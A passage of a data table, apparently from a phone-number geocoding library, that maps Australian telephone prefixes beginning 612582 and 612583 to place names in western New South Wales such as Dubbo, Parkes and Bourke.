'612582490':{'en': 'Grawin'},
'612582491':{'en': 'Gulargambone'},
'612582492':{'en': 'Gwabegar'},
'612582493':{'en': 'Hermidale'},
'612582494':{'en': 'Kiacatoo'},
'612582495':{'en': 'Lake Cargelligo'},
'612582496':{'en': 'Lightning Ridge'},
'612582497':{'en': 'Magometon'},
'612582498':{'en': 'Mandagery'},
'612582499':{'en': 'Mendooran'},
'612582500':{'en': 'Mount Foster'},
'612582501':{'en': 'Mount Herring'},
'612582502':{'en': 'Mullengudgery'},
'612582503':{'en': 'Mungery'},
'612582504':{'en': 'Myamley'},
'612582505':{'en': 'Naradhan'},
'612582506':{'en': 'Narran'},
'612582507':{'en': 'Narromine'},
'612582508':{'en': 'Neilrex'},
'612582509':{'en': 'Nyngan'},
'612582510':{'en': 'Parkes'},
'612582511':{'en': 'Peak Hill'},
'612582512':{'en': 'Purlewaugh'},
'612582513':{'en': 'Quambone'},
'612582514':{'en': 'Rocky Glen'},
'612582515':{'en': 'Stuart Town'},
'612582516':{'en': 'Teridgerie'},
'612582517':{'en': 'Tooraweenah'},
'612582518':{'en': 'Tottenham'},
'612582519':{'en': 'Trangie'},
'612582520':{'en': 'Trundle'},
'612582521':{'en': 'Tullamore'},
'612582522':{'en': 'Tyrie'},
'612582523':{'en': 'Walgett'},
'612582524':{'en': 'Warren'},
'612582525':{'en': 'Warrington'},
'612582526':{'en': 'Warrumbungle'},
'612582527':{'en': 'Weelong'},
'612582528':{'en': 'Weetaliba'},
'612582529':{'en': 'Wellington'},
'612582530':{'en': 'Widgeland'},
'612582531':{'en': 'Wirrinya'},
'612582532':{'en': 'Wyanga'},
'612582533':{'en': 'Yarrabandai'},
'612582534':{'en': 'Yarragrin'},
'612582535':{'en': 'Yeoval'},
'612582536':{'en': 'Airlands'},
'612582537':{'en': 'Albert'},
'612582538':{'en': 'Alectown'},
'612582539':{'en': 'Balladoran'},
'61258254':{'en': 'Balladoran'},
'61258255':{'en': 'Ballimore'},
'61258256':{'en': 'Banar'},
'61258257':{'en': 'Baradine'},
'61258258':{'en': 'Bedgerebong'},
'61258259':{'en': 'Bindogundra'},
'61258260':{'en': 'Binnaway'},
'61258261':{'en': 'Bobadah'},
'61258262':{'en': 'Bogan Gate'},
'61258263':{'en': 'Bonnay'},
'61258264':{'en': 'Boorooma'},
'61258265':{'en': 'Bruie Plains'},
'61258266':{'en': 'Coalbaggie'},
'61258267':{'en': 'Collie'},
'61258268':{'en': 'Coolabah'},
'61258269':{'en': 'Cumborah'},
'61258270':{'en': 'Dandaloo'},
'61258271':{'en': 'Double Peaks'},
'61258272':{'en': 'Eugowra'},
'61258273':{'en': 'Fairholme'},
'61258274':{'en': 'Geurie'},
'61258275':{'en': 'Gilgandra'},
'61258276':{'en': 'Girilambone'},
'61258277':{'en': 'Gollan'},
'61258278':{'en': 'Goodooga'},
'61258279':{'en': 'Grawin'},
'61258280':{'en': 'Gwabegar'},
'61258281':{'en': 'Hermidale'},
'61258282':{'en': 'Kiacatoo'},
'61258283':{'en': 'Lake Cargelligo'},
'61258284':{'en': 'Lightning Ridge'},
'61258285':{'en': 'Mendooran'},
'61258286':{'en': 'Mount Foster'},
'61258287':{'en': 'Mount Herring'},
'61258288':{'en': 'Mullengudgery'},
'61258289':{'en': 'Myamley'},
'61258290':{'en': 'Narromine'},
'61258291':{'en': 'Neilrex'},
'61258292':{'en': 'Nyngan'},
'61258293':{'en': 'Parkes'},
'61258294':{'en': 'Peak Hill'},
'61258295':{'en': 'Purlewaugh'},
'61258296':{'en': 'Stuart Town'},
'61258297':{'en': 'Tooraweenah'},
'61258298':{'en': 'Tottenham'},
'61258299':{'en': 'Trangie'},
'61258300':{'en': 'Trundle'},
'61258301':{'en': 'Tullamore'},
'61258302':{'en': 'Tyrie'},
'61258303':{'en': 'Walgett'},
'61258304':{'en': 'Weelong'},
'61258305':{'en': 'Wellington'},
'61258306':{'en': 'Widgeland'},
'61258307':{'en': 'Wirrinya'},
'61258308':{'en': 'Wyanga'},
'61258309':{'en': 'Yeoval'},
'61258310':{'en': 'Goorianawa'},
'61258311':{'en': 'Albert'},
'61258312':{'en': 'Alectown'},
'612583130':{'en': 'Ballimore'},
'612583131':{'en': 'Banar'},
'612583132':{'en': 'Baradine'},
'612583133':{'en': 'Barrier'},
'612583134':{'en': 'Barrinford'},
'612583135':{'en': 'Bedgerebong'},
'612583136':{'en': 'Berkley Downs'},
'612583137':{'en': 'Bindogundra'},
'612583138':{'en': 'Binnaway'},
'612583139':{'en': 'Bobadah'},
'612583140':{'en': 'Bogan Gate'},
'612583141':{'en': 'Bonnay'},
'612583142':{'en': 'Boona Mountain'},
'612583143':{'en': 'Boorooma'},
'612583144':{'en': 'Borah Tank'},
'612583145':{'en': 'Bourke'},
'612583146':{'en': 'Brewarrina'},
'612583147':{'en': 'Bruie Plains'},
'612583148':{'en': 'Buckinguy'},
'612583149':{'en': 'Carinda'},
'612583150':{'en': 'Coalbaggie'},
'612583151':{'en': 'Cobar'},
'612583152':{'en': 'Colane'},
'612583153':{'en': 'Collie'},
'612583154':{'en': 'Condobolin'},
'612583155':{'en': 'Coolabah'},
'612583156':{'en': 'Coonabarabran'},
'612583157':{'en': 'Coonamble'},
'612583158':{'en': 'Cumborah'},
'612583159':{'en': 'Curban'},
'612583160':{'en': 'Cuttaburra'},
'612583161':{'en': 'Dandaloo'},
'612583162':{'en': 'Double Peaks'},
'612583163':{'en': 'Dubbo'},
'612583164':{'en': 'Eugowra'},
'612583165':{'en': 'Fairholme'},
'612583166':{'en': 'Farrendale'},
'612583167':{'en': 'Forbes'},
'612583168':{'en': 'Geurie'},
'612583169':{'en': 'Gilgandra'},
'612583170':{'en': 'Gilgooma'},
'612583171':{'en': 'Ginghet'},
'612583172':{'en': 'Girilambone'},
'612583173':{'en': 'Gollan'},
'612583174':{'en': 'Goodooga'},
'612583175':{'en': 'Goorianawa'},
'612583176':{'en': 'Grawin'},
'612583177':{'en': 'Gulargambone'},
'612583178':{'en': 'Gwabegar'},
'612583179':{'en': 'Hermidale'},
'612583180':{'en': 'Kiacatoo'},
'612583181':{'en': 'Lake Cargelligo'},
'612583182':{'en': 'Lightning Ridge'},
'612583183':{'en': 'Magometon'},
'612583184':{'en': 'Mandagery'},
'612583185':{'en': 'Mendooran'},
'612583186':{'en': 'Mount Foster'},
'612583187':{'en': 'Mount Herring'},
'612583188':{'en': 'Mullengudgery'},
'612583189':{'en': 'Mungery'},
'612583190':{'en': 'Myamley'},
'612583191':{'en': 'Naradhan'},
'612583192':{'en': 'Narran'},
'612583193':{'en': 'Narromine'},
'612583194':{'en': 'Neilrex'},
'612583195':{'en': 'Nyngan'},
'612583196':{'en': 'Parkes'},
'612583197':{'en': 'Peak Hill'},
'612583198':{'en': 'Purlewaugh'},
'612583199':{'en': 'Quambone'},
'612583200':{'en': 'Rocky Glen'},
'612583201':{'en': 'Stuart Town'},
'612583202':{'en': 'Teridgerie'},
'612583203':{'en': 'Tooraweenah'},
'612583204':{'en': 'Tottenham'},
'612583205':{'en': 'Trangie'},
'612583206':{'en': 'Trundle'},
'612583207':{'en': 'Tullamore'},
'612583208':{'en': 'Tyrie'},
'612583209':{'en': 'Walgett'},
'612583210':{'en': 'Warren'},
'612583211':{'en': 'Warrington'},
'612583212':{'en': 'Warrumbungle'},
'612583213':{'en': 'Weelong'},
'612583214':{'en': 'Weetaliba'},
'612583215':{'en': 'Wellington'},
'612583216':{'en': 'Widgeland'},
'612583217':{'en': 'Wirrinya'},
'612583218':{'en': 'Wyanga'},
'612583219':{'en': 'Yarrabandai'},
'612583220':{'en': 'Yarragrin'},
'612583221':{'en': 'Yeoval'},
'612583222':{'en': 'Airlands'},
'612583223':{'en': 'Albert'},
'612583224':{'en': 'Alectown'},
'612583225':{'en': 'Balladoran'},
'612583226':{'en': 'Ballimore'},
'612583227':{'en': 'Banar'},
'612583228':{'en': 'Baradine'},
'612583229':{'en': 'Barrier'},
'612583230':{'en': 'Barrinford'},
'612583231':{'en': 'Bedgerebong'},
'612583232':{'en': 'Berkley Downs'},
'612583233':{'en': 'Bindogundra'},
'612583234':{'en': 'Binnaway'},
'612583235':{'en': 'Bobadah'},
'612583236':{'en': 'Bogan Gate'},
'612583237':{'en': 'Bonnay'},
'612583238':{'en': 'Boona Mountain'},
'612583239':{'en': 'Boorooma'},
'612583240':{'en': 'Borah Tank'},
'612583241':{'en': 'Bourke'},
'612583242':{'en': 'Brewarrina'},
'612583243':{'en': 'Bruie Plains'},
'612583244':{'en': 'Buckinguy'},
'612583245':{'en': 'Carinda'},
'612583246':{'en': 'Coalbaggie'},
'612583247':{'en': 'Cobar'},
'612583248':{'en': 'Colane'},
'612583249':{'en': 'Collie'},
'612583250':{'en': 'Condobolin'},
'612583251':{'en': 'Coolabah'},
'612583252':{'en': 'Coonabarabran'},
'612583253':{'en': 'Coonamble'},
'612583254':{'en': 'Cumborah'},
'612583255':{'en': 'Curban'},
'612583256':{'en': 'Cuttaburra'},
'612583257':{'en': 'Dandaloo'},
'612583258':{'en': 'Double Peaks'},
'612583259':{'en': 'Dubbo'},
'612583260':{'en': 'Eugowra'},
'612583261':{'en': 'Fairholme'},
'612583262':{'en': 'Farrendale'},
'612583263':{'en': 'Forbes'},
'612583264':{'en': 'Geurie'},
'612583265':{'en': 'Gilgandra'},
'612583266':{'en': 'Gilgooma'},
'612583267':{'en': 'Ginghet'},
'612583268':{'en': 'Girilambone'},
'612583269':{'en': 'Gollan'},
'612583270':{'en': 'Goodooga'},
'612583271':{'en': 'Goorianawa'},
'612583272':{'en': 'Grawin'},
'612583273':{'en': 'Gulargambone'},
'612583274':{'en': 'Gwabegar'},
'612583275':{'en': 'Hermidale'},
'612583276':{'en': 'Kiacatoo'},
'612583277':{'en': 'Lake Cargelligo'},
'612583278':{'en': 'Lightning Ridge'},
'612583279':{'en': 'Magometon'},
'612583280':{'en': 'Mandagery'},
'612583281':{'en': 'Mendooran'},
'612583282':{'en': 'Mount Foster'},
'612583283':{'en': 'Mount Herring'},
'612583284':{'en': 'Mullengudgery'},
'612583285':{'en': 'Mungery'},
'612583286':{'en': 'Myamley'},
'612583287':{'en': 'Naradhan'},
'612583288':{'en': 'Narran'},
'612583289':{'en': 'Narromine'},
'612583290':{'en': 'Neilrex'},
'612583291':{'en': 'Nyngan'},
'612583292':{'en': 'Parkes'},
'612583293':{'en': 'Peak Hill'},
'612583294':{'en': 'Purlewaugh'},
'612583295':{'en': 'Quambone'},
'612583296':{'en': 'Rocky Glen'},
'612583297':{'en': 'Stuart Town'},
'612583298':{'en': 'Teridgerie'},
'612583299':{'en': 'Tooraweenah'},
'612583300':{'en': 'Tottenham'},
'612583301':{'en': 'Trangie'},
'612583302':{'en': 'Trundle'},
'612583303':{'en': 'Tullamore'},
'612583304':{'en': 'Tyrie'},
'612583305':{'en': 'Walgett'},
'612583306':{'en': 'Warren'},
'612583307':{'en': 'Warrington'},
'612583308':{'en': 'Warrumbungle'},
'612583309':{'en': 'Weelong'},
'612583310':{'en': 'Weetaliba'},
'612583311':{'en': 'Wellington'},
'612583312':{'en': 'Widgeland'},
'612583313':{'en': 'Wirrinya'},
'612583314':{'en': 'Wyanga'},
'612583315':{'en': 'Yarrabandai'},
'612583316':{'en': 'Yarragrin'},
'612583317':{'en': 'Yeoval'},
'612583318':{'en': 'Airlands'},
'612583319':{'en': 'Albert'},
'61258332':{'en': 'Bourke'},
'61258333':{'en': 'Dubbo'},
'61258334':{'en': 'Wellington'},
'61258335':{'en': 'Nyngan'},
'61258336':{'en': 'Cobar'},
'61258337':{'en': 'Gilgandra'},
'61258338':{'en': 'Coalbaggie'},
'612583390':{'en': 'Alectown'},
'612583391':{'en': 'Balladoran'},
'612583392':{'en': 'Ballimore'},
'612583393':{'en': 'Banar'},
'612583394':{'en': 'Baradine'},
'612583395':{'en': 'Barrier'},
'612583396':{'en': 'Barrinford'},
'612583397':{'en': 'Bedgerebong'},
'612583398':{'en': 'Berkley Downs'},
'612583399':{'en': 'Bindogundra'},
'612583400':{'en': 'Binnaway'},
'612583401':{'en': 'Bobadah'},
'612583402':{'en': 'Bogan Gate'},
'612583403':{'en': 'Bonnay'},
'612583404':{'en': 'Boona Mountain'},
'612583405':{'en': 'Boorooma'},
'612583406':{'en': 'Borah Tank'},
'612583407':{'en': 'Bourke'},
'612583408':{'en': 'Brewarrina'},
'612583409':{'en': 'Bruie Plains'},
'612583410':{'en': 'Buckinguy'},
'612583411':{'en': 'Carinda'},
'612583412':{'en': 'Coalbaggie'},
'612583413':{'en': 'Cobar'},
'612583414':{'en': 'Colane'},
'612583415':{'en': 'Collie'},
'612583416':{'en': 'Condobolin'},
'612583417':{'en': 'Coolabah'},
'612583418':{'en': 'Coonabarabran'},
'612583419':{'en': 'Coonamble'},
'612583420':{'en': 'Cumborah'},
'612583421':{'en': 'Curban'},
'612583422':{'en': 'Cuttaburra'},
'612583423':{'en': 'Dandaloo'},
'612583424':{'en': 'Airlands'},
'612583425':{'en': 'Albert'},
'612583426':{'en': 'Alectown'},
'612583427':{'en': 'Balladoran'},
'612583428':{'en': 'Ballimore'},
'612583429':{'en': 'Banar'},
'612583430':{'en': 'Baradine'},
'612583431':{'en': 'Barrier'},
'612583432':{'en': 'Barrinford'},
'612583433':{'en': 'Bedgerebong'},
'612583434':{'en': 'Berkley Downs'},
'612583435':{'en': 'Bindogundra'},
'612583436':{'en': 'Binnaway'},
'612583437':{'en': 'Bobadah'},
'612583438':{'en': 'Bogan Gate'},
'612583439':{'en': 'Bonnay'},
'612583440':{'en': 'Boona Mountain'},
'612583441':{'en': 'Boorooma'},
'612583442':{'en': 'Borah Tank'},
'612583443':{'en': 'Bourke'},
'612583444':{'en': 'Brewarrina'},
'612583445':{'en': 'Bruie Plains'},
'612583446':{'en': 'Buckinguy'},
'612583447':{'en': 'Carinda'},
'612583448':{'en': 'Coalbaggie'},
'612583449':{'en': 'Cobar'},
'61258345':{'en': 'Barrier'},
'61258346':{'en': 'Condobolin'},
'61258347':{'en': 'Bourke'},
'61258348':{'en': 'Airlands'},
'61258349':{'en': 'Brewarrina'},
'612583500':{'en': 'Colane'},
'612583501':{'en': 'Collie'},
'612583502':{'en': 'Condobolin'},
'612583503':{'en': 'Coolabah'},
'612583504':{'en': 'Coonabarabran'},
'612583505':{'en': 'Coonamble'},
'612583506':{'en': 'Cumborah'},
'612583507':{'en': 'Curban'},
'612583508':{'en': 'Cuttaburra'},
'612583509':{'en': 'Dandaloo'},
'612583510':{'en': 'Double Peaks'},
'612583511':{'en': 'Dubbo'},
'612583512':{'en': 'Eugowra'},
'612583513':{'en': 'Fairholme'},
'612583514':{'en': 'Farrendale'},
'612583515':{'en': 'Forbes'},
'612583516':{'en': 'Geurie'},
'612583517':{'en': 'Gilgandra'},
'612583518':{'en': 'Gilgooma'},
'612583519':{'en': 'Ginghet'},
'612583520':{'en': 'Girilambone'},
'612583521':{'en': 'Gollan'},
'612583522':{'en': 'Goodooga'},
'612583523':{'en': 'Goorianawa'},
'612583524':{'en': 'Grawin'},
'612583525':{'en': 'Gulargambone'},
'612583526':{'en': 'Gwabegar'},
'612583527':{'en': 'Hermidale'},
'612583528':{'en': 'Kiacatoo'},
'612583529':{'en': 'Lake Cargelligo'},
'612583530':{'en': 'Lightning Ridge'},
'612583531':{'en': 'Magometon'},
'612583532':{'en': 'Mandagery'},
'612583533':{'en': 'Mendooran'},
'612583534':{'en': 'Mount Foster'},
'612583535':{'en': 'Mount Herring'},
'612583536':{'en': 'Mullengudgery'},
'612583537':{'en': 'Mungery'},
'612583538':{'en': 'Myamley'},
'612583539':{'en': 'Naradhan'},
'612583540':{'en': 'Narran'},
'612583541':{'en': 'Narromine'},
'612583542':{'en': 'Neilrex'},
'612583543':{'en': 'Nyngan'},
'612583544':{'en': 'Parkes'},
'612583545':{'en': 'Peak Hill'},
'612583546':{'en': 'Purlewaugh'},
'612583547':{'en': 'Quambone'},
'612583548':{'en': 'Rocky Glen'},
'612583549':{'en': 'Stuart Town'},
'612583550':{'en': 'Teridgerie'},
'612583551':{'en': 'Tooraweenah'},
'612583552':{'en': 'Tottenham'},
'612583553':{'en': 'Trangie'},
'612583554':{'en': 'Trundle'},
'612583555':{'en': 'Tullamore'},
'612583556':{'en': 'Tyrie'},
'612583557':{'en': 'Walgett'},
'612583558':{'en': 'Warren'},
'612583559':{'en': 'Warrington'},
'612583560':{'en': 'Warrumbungle'},
'612583561':{'en': 'Weelong'},
'612583562':{'en': 'Weetaliba'},
'612583563':{'en': 'Wellington'},
'612583564':{'en': 'Widgeland'},
'612583565':{'en': 'Wirrinya'},
'612583566':{'en': 'Wyanga'},
'612583567':{'en': 'Yarrabandai'},
'612583568':{'en': 'Yarragrin'},
'612583569':{'en': 'Yeoval'},
'61258357':{'en': 'Bindogundra'},
'61258358':{'en': 'Bindogundra'},
'61258359':{'en': 'Bindogundra'},
'612583600':{'en': 'Double Peaks'},
'612583601':{'en': 'Dubbo'},
'612583602':{'en': 'Eugowra'},
'612583603':{'en': 'Fairholme'},
'612583604':{'en': 'Farrendale'},
'612583605':{'en': 'Forbes'},
'612583606':{'en': 'Geurie'},
'612583607':{'en': 'Gilgandra'},
'612583608':{'en': 'Gilgooma'},
'612583609':{'en': 'Ginghet'},
'612583610':{'en': 'Girilambone'},
'612583611':{'en': 'Gollan'},
'612583612':{'en': 'Goodooga'},
'612583613':{'en': 'Goorianawa'},
'612583614':{'en': 'Grawin'},
'612583615':{'en': 'Gulargambone'},
'612583616':{'en': 'Gwabegar'},
'612583617':{'en': 'Hermidale'},
'612583618':{'en': 'Kiacatoo'},
'612583619':{'en': 'Lake Cargelligo'},
'612583620':{'en': 'Lightning Ridge'},
'612583621':{'en': 'Magometon'},
'612583622':{'en': 'Mandagery'},
'612583623':{'en': 'Mendooran'},
'612583624':{'en': 'Mount Foster'},
'612583625':{'en': 'Mount Herring'},
'612583626':{'en': 'Mullengudgery'},
'612583627':{'en': 'Mungery'},
'612583628':{'en': 'Myamley'},
'612583629':{'en': 'Naradhan'},
'612583630':{'en': 'Narran'},
'612583631':{'en': 'Narromine'},
'612583632':{'en': 'Neilrex'},
'612583633':{'en': 'Nyngan'},
'612583634':{'en': 'Parkes'},
'612583635':{'en': 'Peak Hill'},
'612583636':{'en': 'Purlewaugh'},
'612583637':{'en': 'Quambone'},
'612583638':{'en': 'Rocky Glen'},
'612583639':{'en': 'Stuart Town'},
'612583640':{'en': 'Teridgerie'},
'612583641':{'en': 'Tooraweenah'},
'612583642':{'en': 'Tottenham'},
'612583643':{'en': 'Trangie'},
'612583644':{'en': 'Trundle'},
'612583645':{'en': 'Tullamore'},
'612583646':{'en': 'Tyrie'},
'612583647':{'en': 'Walgett'},
'612583648':{'en': 'Warren'},
'612583649':{'en': 'Warrington'},
'612583650':{'en': 'Warrumbungle'},
'612583651':{'en': 'Weelong'},
'612583652':{'en': 'Weetaliba'},
'612583653':{'en': 'Wellington'},
'612583654':{'en': 'Widgeland'},
'612583655':{'en': 'Wirrinya'},
'612583656':{'en': 'Wyanga'},
'612583657':{'en': 'Yarrabandai'},
'612583658':{'en': 'Yarragrin'},
'612583659':{'en': 'Yeoval'},
'612583660':{'en': 'Airlands'},
'612583661':{'en': 'Albert'},
'612583662':{'en': 'Alectown'},
'612583663':{'en': 'Balladoran'},
'612583664':{'en': 'Ballimore'},
'612583665':{'en': 'Banar'},
'612583666':{'en': 'Baradine'},
'612583667':{'en': 'Barrier'},
'612583668':{'en': 'Barrinford'},
'612583669':{'en': 'Bedgerebong'},
'612583670':{'en': 'Berkley Downs'},
'612583671':{'en': 'Bindogundra'},
'612583672':{'en': 'Binnaway'},
'612583673':{'en': 'Bobadah'},
'612583674':{'en': 'Bogan Gate'},
'612583675':{'en': 'Bonnay'},
'612583676':{'en': 'Boona Mountain'},
'612583677':{'en': 'Boorooma'},
'612583678':{'en': 'Borah Tank'},
'612583679':{'en': 'Bourke'},
'612583680':{'en': 'Brewarrina'},
'612583681':{'en': 'Bruie Plains'},
'612583682':{'en': 'Buckinguy'},
'612583683':{'en': 'Carinda'},
'612583684':{'en': 'Coalbaggie'},
'612583685':{'en': 'Cobar'},
'612583686':{'en': 'Colane'},
'612583687':{'en': 'Collie'},
'612583688':{'en': 'Condobolin'},
'612583689':{'en': 'Coolabah'},
'612583690':{'en': 'Coonabarabran'},
'612583691':{'en': 'Coonamble'},
'612583692':{'en': 'Cumborah'},
'612583693':{'en': 'Curban'},
'612583694':{'en': 'Cuttaburra'},
'612583695':{'en': 'Dandaloo'},
'612583696':{'en': 'Double Peaks'},
'612583697':{'en': 'Dubbo'},
'612583698':{'en': 'Eugowra'},
'612583699':{'en': 'Fairholme'},
'612583700':{'en': 'Farrendale'},
'612583701':{'en': 'Forbes'},
'612583702':{'en': 'Geurie'},
'612583703':{'en': 'Gilgandra'},
'612583704':{'en': 'Gilgooma'},
'612583705':{'en': 'Ginghet'},
'612583706':{'en': 'Girilambone'},
'612583707':{'en': 'Gollan'},
'612583708':{'en': 'Goodooga'},
'612583709':{'en': 'Goorianawa'},
'612583710':{'en': 'Grawin'},
'612583711':{'en': 'Gulargambone'},
'612583712':{'en': 'Gwabegar'},
'612583713':{'en': 'Hermidale'},
'612583714':{'en': 'Kiacatoo'},
'612583715':{'en': 'Lake Cargelligo'},
'612583716':{'en': 'Lightning Ridge'},
'612583717':{'en': 'Magometon'},
'612583718':{'en': 'Mandagery'},
'612583719':{'en': 'Mendooran'},
'612583720':{'en': 'Mount Foster'},
'612583721':{'en': 'Mount Herring'},
'612583722':{'en': 'Mullengudgery'},
'612583723':{'en': 'Mungery'},
'612583724':{'en': 'Myamley'},
'612583725':{'en': 'Naradhan'},
'612583726':{'en': 'Narran'},
'612583727':{'en': 'Narromine'},
'612583728':{'en': 'Neilrex'},
'612583729':{'en': 'Nyngan'},
'612583730':{'en': 'Parkes'},
'612583731':{'en': 'Peak Hill'},
'612583732':{'en': 'Purlewaugh'},
'612583733':{'en': 'Quambone'},
'612583734':{'en': 'Rocky Glen'},
'612583735':{'en': 'Stuart Town'},
'612583736':{'en': 'Teridgerie'},
'612583737':{'en': 'Tooraweenah'},
'612583738':{'en': 'Tottenham'},
'612583739':{'en': 'Trangie'},
'612583740':{'en': 'Trundle'},
'612583741':{'en': 'Tullamore'},
'612583742':{'en': 'Tyrie'},
'612583743':{'en': 'Walgett'},
'612583744':{'en': 'Warren'},
'612583745':{'en': 'Warrington'},
'612583746':{'en': 'Warrumbungle'},
'612583747':{'en': 'Weelong'},
'612583748':{'en': 'Weetaliba'},
'612583749':{'en': 'Wellington'},
'612583750':{'en': 'Widgeland'},
'612583751':{'en': 'Wirrinya'},
'612583752':{'en': 'Wyanga'},
'612583753':{'en': 'Yarrabandai'},
'612583754':{'en': 'Yarragrin'},
'612583755':{'en': 'Yeoval'},
'612583756':{'en': 'Airlands'},
'612583757':{'en': 'Albert'},
'612583758':{'en': 'Alectown'},
'612583759':{'en': 'Balladoran'},
'612583760':{'en': 'Ballimore'},
'612583761':{'en': 'Banar'},
'612583762':{'en': 'Baradine'},
'612583763':{'en': 'Barrier'},
'612583764':{'en': 'Barrinford'},
'612583765':{'en': 'Bedgerebong'},
'612583766':{'en': 'Berkley Downs'},
'612583767':{'en': 'Bindogundra'},
'612583768':{'en': 'Binnaway'},
'612583769':{'en': 'Bobadah'},
'612583770':{'en': 'Bogan Gate'},
'612583771':{'en': 'Bonnay'},
'612583772':{'en': 'Boona Mountain'},
'612583773':{'en': 'Boorooma'},
'612583774':{'en': 'Borah Tank'},
'612583775':{'en': 'Bourke'},
'612583776':{'en': 'Brewarrina'},
'612583777':{'en': 'Bruie Plains'},
'612583778':{'en': 'Buckinguy'},
'612583779':{'en': 'Carinda'},
'612583780':{'en': 'Coalbaggie'},
'612583781':{'en': 'Cobar'},
'612583782':{'en': 'Colane'},
'612583783':{'en': 'Collie'},
'612583784':{'en': 'Condobolin'},
'612583785':{'en': 'Coolabah'},
'612583786':{'en': 'Coonabarabran'},
'612583787':{'en': 'Coonamble'},
'612583788':{'en': 'Cumborah'},
'612583789':{'en': 'Curban'},
'612583790':{'en': 'Cuttaburra'},
'612583791':{'en': 'Dandaloo'},
'612583792':{'en': 'Double Peaks'},
'612583793':{'en': 'Dubbo'},
'612583794':{'en': 'Eugowra'},
'612583795':{'en': 'Fairholme'},
'612583796':{'en': 'Farrendale'},
'612583797':{'en': 'Forbes'},
'612583798':{'en': 'Geurie'},
'612583799':{'en': 'Gilgandra'},
'612583800':{'en': 'Gilgooma'},
'612583801':{'en': 'Ginghet'},
'612583802':{'en': 'Girilambone'},
'612583803':{'en': 'Gollan'},
'612583804':{'en': 'Goodooga'},
'612583805':{'en': 'Goorianawa'},
'612583806':{'en': 'Grawin'},
'612583807':{'en': 'Gulargambone'},
'612583808':{'en': 'Gwabegar'},
'612583809':{'en': 'Hermidale'},
'612583810':{'en': 'Kiacatoo'},
'612583811':{'en': 'Lake Cargelligo'},
'612583812':{'en': 'Lightning Ridge'},
'612583813':{'en': 'Magometon'},
'612583814':{'en': 'Mandagery'},
'612583815':{'en': 'Mendooran'},
'612583816':{'en': 'Mount Foster'},
'612583817':{'en': 'Mount Herring'},
'612583818':{'en': 'Mullengudgery'},
'612583819':{'en': 'Mungery'},
'612583820':{'en': 'Myamley'},
'612583821':{'en': 'Naradhan'},
'612583822':{'en': 'Narran'},
'612583823':{'en': 'Narromine'},
'612583824':{'en': 'Neilrex'},
'612583825':{'en': 'Nyngan'},
'612583826':{'en': 'Parkes'},
'612583827':{'en': 'Peak Hill'},
'612583828':{'en': 'Purlewaugh'},
'612583829':{'en': 'Quambone'},
'612583830':{'en': 'Rocky Glen'},
'612583831':{'en': 'Stuart Town'},
'612583832':{'en': 'Teridgerie'},
'612583833':{'en': 'Tooraweenah'},
'612583834':{'en': 'Tottenham'},
'612583835':{'en': 'Trangie'},
'612583836':{'en': 'Trundle'},
'612583837':{'en': 'Tullamore'},
'612583838':{'en': 'Tyrie'},
'612583839':{'en': 'Walgett'},
'612583840':{'en': 'Warren'},
'612583841':{'en': 'Warrington'},
'612583842':{'en': 'Warrumbungle'},
'612583843':{'en': 'Weelong'},
'612583844':{'en': 'Weetaliba'},
'612583845':{'en': 'Wellington'},
'612583846':{'en': 'Widgeland'},
'612583847':{'en': 'Wirrinya'},
'612583848':{'en': 'Wyanga'},
'612583849':{'en': 'Yarrabandai'},
'612583850':{'en': 'Yarragrin'},
'612583851':{'en': 'Yeoval'},
'612583852':{'en': 'Airlands'},
'612583853':{'en': 'Albert'},
'612583854':{'en': 'Alectown'},
'612583855':{'en': 'Balladoran'},
'612583856':{'en': 'Ballimore'},
'612583857':{'en': 'Banar'},
'612583858':{'en': 'Baradine'},
'612583859':{'en': 'Barrier'},
'61258386':{'en': 'Dubbo'},
'612583870':{'en': 'Barrinford'},
'612583871':{'en': 'Bedgerebong'},
'612583872':{'en': 'Berkley Downs'},
'612583873':{'en': 'Bindogundra'},
'612583874':{'en': 'Binnaway'},
'612583875':{'en': 'Bobadah'},
'612583876':{'en': 'Bogan Gate'},
'612583877':{'en': 'Bonnay'},
'612583878':{'en': 'Boona Mountain'},
'612583879':{'en': 'Boorooma'},
'612583880':{'en': 'Borah Tank'},
'612583881':{'en': 'Bourke'},
'612583882':{'en': 'Brewarrina'},
'612583883':{'en': 'Bruie Plains'},
'612583884':{'en': 'Buckinguy'},
'612583885':{'en': 'Carinda'},
'612583886':{'en': 'Coalbaggie'},
'612583887':{'en': 'Cobar'},
'612583888':{'en': 'Colane'},
'612583889':{'en': 'Collie'},
'612583890':{'en': 'Condobolin'},
'612583891':{'en': 'Coolabah'},
'612583892':{'en': 'Coonabarabran'},
'612583893':{'en': 'Coonamble'},
'612583894':{'en': 'Cumborah'},
'612583895':{'en': 'Curban'},
'612583896':{'en': 'Cuttaburra'},
'612583897':{'en': 'Dandaloo'},
'612583898':{'en': 'Double Peaks'},
'612583899':{'en': 'Dubbo'},
'612583900':{'en': 'Eugowra'},
'612583901':{'en': 'Fairholme'},
'612583902':{'en': 'Farrendale'},
'612583903':{'en': 'Forbes'},
'612583904':{'en': 'Geurie'},
'612583905':{'en': 'Gilgandra'},
'612583906':{'en': 'Gilgooma'},
'612583907':{'en': 'Ginghet'},
'612583908':{'en': 'Girilambone'},
'612583909':{'en': 'Gollan'},
'612583910':{'en': 'Goodooga'},
'612583911':{'en': 'Goorianawa'},
'612583912':{'en': 'Grawin'},
'612583913':{'en': 'Gulargambone'},
'612583914':{'en': 'Gwabegar'},
'612583915':{'en': 'Hermidale'},
'612583916':{'en': 'Kiacatoo'},
'612583917':{'en': 'Lake Cargelligo'},
'612583918':{'en': 'Lightning Ridge'},
'612583919':{'en': 'Magometon'},
'612583920':{'en': 'Mandagery'},
'612583921':{'en': 'Mendooran'},
'612583922':{'en': 'Mount Foster'},
'612583923':{'en': 'Mount Herring'},
'612583924':{'en': 'Mullengudgery'},
'612583925':{'en': 'Mungery'},
'612583926':{'en': 'Myamley'},
'612583927':{'en': 'Naradhan'},
'612583928':{'en': 'Narran'},
'612583929':{'en': 'Narromine'},
'612583930':{'en': 'Neilrex'},
'612583931':{'en': 'Nyngan'},
'612583932':{'en': 'Parkes'},
'612583933':{'en': 'Peak Hill'},
'612583934':{'en': 'Purlewaugh'},
'612583935':{'en': 'Quambone'},
'612583936':{'en': 'Rocky Glen'},
'612583937':{'en': 'Stuart Town'},
'612583938':{'en': 'Teridgerie'},
'612583939':{'en': 'Tooraweenah'},
'612583940':{'en': 'Tottenham'},
'612583941':{'en': 'Trangie'},
'612583942':{'en': 'Trundle'},
'612583943':{'en': 'Tullamore'},
'612583944':{'en': 'Tyrie'},
'612583945':{'en': 'Walgett'},
